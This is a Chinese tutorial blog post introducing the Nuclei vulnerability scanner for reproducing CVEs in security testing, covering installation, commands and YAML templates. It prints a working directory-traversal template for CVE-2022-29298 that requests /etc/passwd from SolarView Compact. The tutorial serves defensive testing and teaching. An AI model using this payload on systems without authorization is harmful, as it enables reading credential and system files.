POC模拟攻击利器 —— Nuclei入门(一)

2023-11-11

引入Nuclei的缘由

使用dependency check 发现的问题,需要研发人员修复,研发人员要求复现问题!这个的确有难度不仅仅要了解cve 相关bug的具体含义,还要模拟攻击,对于测试人员显然要求过高!凭借自己多年的各种测试工具调研经验,直觉告诉自己,应该有类似的工具,经过各种技术调研选择了Nuclei。使用Nuclei主要对cve相关问题进行模拟,另外并不是所有的cve问题该工具都能模拟,建议大家使用前可以自行查看需要验证的cve问题是否在nuclei的template中,如果不在,还需要自行创建。

Nuclei基础

Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的可配置性、可扩展性和易用性。Nuclei使用零误报的定制模板向目标发送请求,同时可以对大量主机进行快速扫描。Nuclei提供 dns, file, http, headless, network, workflow, ssl, websocket, whois等协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。

Nuclei安装

首先安装go环境(go1.17以上版本)

下载对应平台的安装包,默认安装即可,本文默认安装windows版本

https://github.com/projectdiscovery/nuclei/releases

Nuclei基础使用介绍

原理:根据yaml模板中的内容模拟攻击请求,然后根据响应结果来判断系统中是否存在漏洞。内置yaml文件路径如下:(本文只关注cve相关漏洞)

 上图中一个yaml文件其实就模拟了一个攻击请求,以CVE-2022-29298.yaml为例,文件内如如下:

id: CVE-2022-29298
info:
name: SolarView Compact 6.00 - Directory Traversal
author: ritikchaddha
severity: high
description: SolarView Compact ver.6.00 allows attackers to access sensitive files via directory traversal.
reference:
- https://www.exploit-db.com/exploits/50950
- https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view
- https://nvd.nist.gov/vuln/detail/CVE-2022-29298
- https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-29298
cwe-id: CWE-22
metadata:
shodan-query: http.html:"SolarView Compact"
verified: "true"
tags: cve,cve2022,lfi,solarview
requests:
- method: GET
path:
- "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200

我们可以重点关注以下字段:

severity表示这个cve漏洞的级别

tags,表示这个漏洞被定义的标签,cve表示在命令行中输入cve标签时会执行该yaml

requests,表示要模拟的请求,关于method: GET、path"{{BaseURL}} "、就不详细讲解了,他们与http协议中定义的内容一致。

Matchers,简单的说就是用于对请求响应的校验,上述代码中校验了响应中的两项内容:

通过正则方式- type: regex校验响应body里是否有满足正则表达式- "root:.*:0:0:"的内容

校验响应的状态码- type: status 是否是200。

这两项校验内容是与的关系,matchers-condition: and(默认是or),关于更多的matcher相关知识我会加后面的文章中提及。

关于编写http请求的详细规则请参考

https://nuclei.projectdiscovery.io/templating-guide/protocols/http/

具体template编写语法请参考

https://github.com/projectdiscovery/nuclei/blob/master/SYNTAX-REFERENCE.md

备注:从v2.5.2开始,nuclei在运行时会自动更新template

注意:这里有的同学可能要问下面的语法形式是什么意思呢?

- type: status
status:
- 200

这是yaml语法,大家可以自行百度之!

Nuclei常用命令

Nuclei帮助文档

nuclei –h

这里就不再详细介绍了,自行查看即可。其他常用命令如下:

1.对url https://example.com,进行cve规则的检测(通过tags cve),检测的漏洞级别是critical和high,作者是geeknik

nuclei -u https://example.com -tags cve -severity critical,high -author geeknik -o result.txt

2.对url https://example.com, 控制台输出统计结果-stats,检测的漏洞级别是critical和high,并把结果输出到result2.json(推荐,json形式的报告统计信息非常详细)

nuclei -u https://example.com -stats -severity critical,high -o result2.json -json -irr

3.对url https://example.com,进行模板CVE-2022-1439.yaml的检测,详细打印请求信息和响应信息(-debug)

nuclei -debug -u https://example.com -t \cves\2022\CVE-2022-1439.yaml

4.nuclei也支持对不同的url进行扫描,定义一个txt文件,然后里面保存需要扫描的url,具体使用如下:

nuclei -list urls.txt

urls.txt包括的内容如下:

http://example.com

http://app.example.com

http://test.example.com

http://uat.example.com

5.如果想把结果以不同格式输出,参考如下:

#输出结果为JSON格式

nuclei -u https://example.com -json

#输出结果保存到Markdown格式文件

nuclei -u https://example.com -me result

更多输出结果,请参考nuclei –h 的OUTPUT字段,内容如下:

OUTPUT:
-o, -output string output file to write found issues/vulnerabilities
-sresp, -store-resp store all request/response passed through nuclei to output directory
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
-silent display findings only
-nc, -no-color disable output content coloring (ANSI escape codes)
-json write output in JSONL(ines) format
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
-nm, -no-meta disable printing result metadata in cli output
-nts, -no-timestamp disable printing timestamp in cli output
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
-ms, -matcher-status display match failure status
-me, -markdown-export string directory to export results in markdown format
-se, -sarif-export string file to export results in SARIF format

自定义检测模板

Nuclei支持自定义编写YAML语法模板,您可以工具自己的需求编写自己的检测模板。

例如定义模板mytemplate.yaml,内容如下:

id: basic-example

info:
name: Test HTTP Template
author: pdteam
severity: info

requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- "This is test matcher text"

调用时,执行如下命令即可:

nuclei -u https://example.com -t mytemplate.yaml

nuclei使用总结

  • 首先确认要扫描的接口(http,url),这点没有appscan,zap工具方便,他们可以主动探索攻击;
  • 然后确认要扫描的规则,即确认yaml文件(根据tag选择想检测的内容,例如:cve、panel、lfi、xss等等),我们可以使用nuclei自带的yaml,也可以自定义yaml,为了提升扫描效率我们还可以自定义workflows,这个话题会在后面的文章中提及;
  • 最后就是通过命令运行脚本并生成测试报告。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

POC模拟攻击利器 —— Nuclei入门(一) 的相关文章

随机推荐

  • 图像处理学习笔记(三):基于匹配的目标识别

    Matlab图像处理学习笔记 三 基于匹配的目标识别 如果要在一幅图像中寻找已知物体 最常用且最简单的方法之一就是匹配 在目标识别的方法中 匹配属于基于决策理论方法的识别 匹配方法可以是最小距离分类器 相关匹配 本文code是基于最小距离分
  • 三进制计算机_数学糖果S10:N进制

    不同进制各有各的特点 二进制更为基础 十进制匹配人体手指数量 十二进制之基数12所含因数多 十六进制之基数16易被多次二分 六十进制结合了五进制与十二进制 世界可能是由概率控制的 现实世界中十进制被选中 计算机世界中二进制被选中 N 进 制
  • PyTorch: 训练分类CIFAR10

    usr bin env python coding utf 8 Author zengxiaohui Datatime 8 13 2021 11 20 AM File train cifar10 import os import torch
  • 数据结构进阶篇,回文字符串专题

    5 最长回文子串 题目 给你一个字符串 s 找到 s 中最长的回文子串 示例 输入 s babad 输出 bab 解题思路 首先 判断一个字符串是否为回文字符串 可以采用 双指针 的方式来处理 需要消耗 O n 的时间复杂度 如果使用首尾向
  • 电商项目之响应编码的枚举类 和 通用的响应对象 和 常量类

    x响应编码的枚举类 public enum ResponseCode SUCCESS 0 SUCCESS ERROR 1 ERROR ILLEGAL AGRUMENT 2 ILLEGAL AGRUMENT NEED LOGIN 10 NEE
  • 2.0 Jlink使用技巧之读取STM32内部的程序

    在实际运用过程中 有时候某台机器有故障 另一台可以正常运行 为了临时救急 我们可以把没问题的机器代码从flash拷贝出来 烧录到故障机 那么如何拷贝flash内部代码呢 步骤1 安装jlink 安装好J link 没安装的 网上自行搜索该软
  • 【并发】并发

    并发 进程和线程 进程 资源分配的基本单位 可以理解为在内存中运行的程序 每个进程都有独立的内存空间 一个进程包含多个线程 线程 任务执行的基本单位 负责进程中任务的执行 每个线程共享进程的内存空间 一个线程使用时 其他线程必须等待 用户
  • 博思得标签打印机驱动_博思得打印机驱动

    2019 01 04 33 04 MB 类型 打印机驱动 博思得Postek P3T打印机驱动是一款用于解决博思得Postek P3T打 立即下载 2019 01 04 33 04 MB 类型 打印机驱动 博思得Postek TC200i打
  • 老猿学5G专栏完结说明

    老猿学5G是因为工作原因促成的 主要目的是为了研究5G的计费架构相关内容 到今天为止 基本上达成目标 因此这个专栏基本上告一段落了 回想这2个多月的日子 从一个对5G相关知识完全不熟悉的小白 到现在基本上知道5G的主要网元和网络架构 3GP
  • 开源了,我做了一个基于GPT的桌宠聊天系统:Pet-GPT!

    前言 最近chatgpt的热度高居不下 作为一个深度成谜者 发现大部分开发者在调用GPT的时候要不就是基于Tauri做本地窗口外接网页 要不就是web直接展示 在沉思苦想一段时间后 才发现好像没啥什么人用pyqt做啊 特别是没人用桌面宠物
  • 多重背包问题 可行性问题O(V N) 算法

    原文地址 多重背包问题 可行性问题O V N 算法 问题 有n种不同大小的数字ai 每种各mi个 判断是是否可以从这些数字中选出若干个使他们的和为k 算法一 include
  • 随机信号功率谱密度函数理论、估计方法及MATLAB代码

    文章的内容整理自网络 仅Matlab代码部分进行了部分修正 具体而言 理论部分来自 现代通信原理2 5 确定信号的能量谱密度 功率谱密度与自相关函数 估计和代码部分来自 随机信号功率谱密度估计 PS1 推荐使用周期图法进行功率密度谱估计 P
  • 你业余时间在做什么?

    author skate time 2010 04 20 哈佛大学凌晨4点半的景象 在网上看到这篇文章 觉得很有感触 或许这再一次印证任何人每一次的成功背后都有不为人知的付出和汗水 人的时间和精力都是有限的 所以 要利用时间抓紧学习 而不是
  • 面试问到AOP就该这样回答

    前言 相信各位小伙伴在准备面试的时候 AOP都是无法绕过的一个点 经常能看到动态代理 JDK动态代理 CGLIB动态代理这样的字眼 其实动态代理是代理模式的一种 代理模式有静态代理 强制代理 动态代理 所以在认识AOP之前需要了解代理模式
  • 如何低代码开发区块链应用

    区块链技术近年来在国内迅速发展 并在众多领域开展探索并有不少应用落地 作为一门新型技术 区块链技术在助力企业效率提升的同时 在人力成本 联盟链兼容等方面仍然需要释放更多可能性 如何降低区块链的开发成本 使其更高效便捷地应用到产业当中 成为提
  • 为什么区块链是互联网的100倍?

    区块链的本质究竟是什么 如果区块链只是一个简单的分布式账本 凭什么在全世界的所有国家 商业领域掀起一浪又一浪的轩然大波 而如此多的精英人士不顾一切的争相入场 假设比特币是第一张多米诺骨牌 区块链究竟翻倒了哪些牌 洗牌的底层逻辑又是什么 未来
  • JDBC连接断开,autoReconnect=true失效解决方案:做一个合格的回头客!

    以mysql数据库为例 为避免无效连接长时间占用资源 一般超过一定时间不操作就会断开连接 利用 show global variables like wait timeout 可查看等待时间 网络普遍的说法是使用autoReconnect
  • vscode远程连接服务器+上下传文件

    VSCode远程服务器记录 目录 VSCode远程服务器记录 前言 一 连接远程服务器 二 上传文件到服务器 三 从服务器上下载文件到本地 四 删除没用的远程服务器 前言 确保本地vscode中装了remote ssh和sftp的插件 这里
  • 区块链基础学习1

    1 区块链 Blockchain 区块链技术是指通过去中心化和去信任的方式集体维护一个可靠数据库的技术方案 2 点对点 P2P 通过允许单个结点与其他结点直接交互 无需通过中介机构 从而实现整个系统像有组织的集体一样运作的系统 3 去中心化
  • POC模拟攻击利器 —— Nuclei入门(一)

    引入Nuclei的缘由 使用dependency check 发现的问题 需要研发人员修复 研发人员要求复现问题 这个的确有难度不仅仅要了解cve 相关bug的具体含义 还要模拟攻击 对于测试人员显然要求过高 凭借自己多年的各种测试工具调研